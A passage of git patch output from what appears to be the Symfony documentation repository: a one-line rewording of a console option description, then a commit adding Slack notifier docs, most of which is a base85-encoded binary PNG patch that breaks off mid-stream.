 
 ``InputOption::VALUE_NONE``
-    Do not accept input for this option (e.g. ``--yell``). The value returned from this option will be a boolean, ``false`` if the option is not provided.
+    Do not accept input for this option (e.g. ``--yell``). The value returned
+    from is a boolean (``false`` if the option is not provided).
     This is the default behavior of options;
 
 ``InputOption::VALUE_REQUIRED``

From 62997ecf48fa5054fb2d084962b2ce5c13fe8d1e Mon Sep 17 00:00:00 2001
From: Antonin CLAUZIER <antonin@clauzier.dev>
Date: Fri, 21 May 2021 12:40:04 +0200
Subject: [PATCH 0859/5766] [Notifier] Adds documentation for Slack stuff added
 in 5.3

---
 _images/notifier/slack/message-reply.png | Bin 0 -> 41766 bytes
 _images/notifier/slack/slack-footer.png  | Bin 0 -> 16064 bytes
 _images/notifier/slack/slack-header.png  | Bin 0 -> 10140 bytes
 notifier/chatters.rst                    | 114 +++++++++++++++++++++++
 4 files changed, 114 insertions(+)
 create mode 100644 _images/notifier/slack/message-reply.png
 create mode 100644 _images/notifier/slack/slack-footer.png
 create mode 100644 _images/notifier/slack/slack-header.png

diff --git a/_images/notifier/slack/message-reply.png b/_images/notifier/slack/message-reply.png
new file mode 100644
index 0000000000000000000000000000000000000000..9a60e4573ab2c4c23ae6b0f4d1be84aa1f39b5ba
GIT binary patch
literal 41766
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
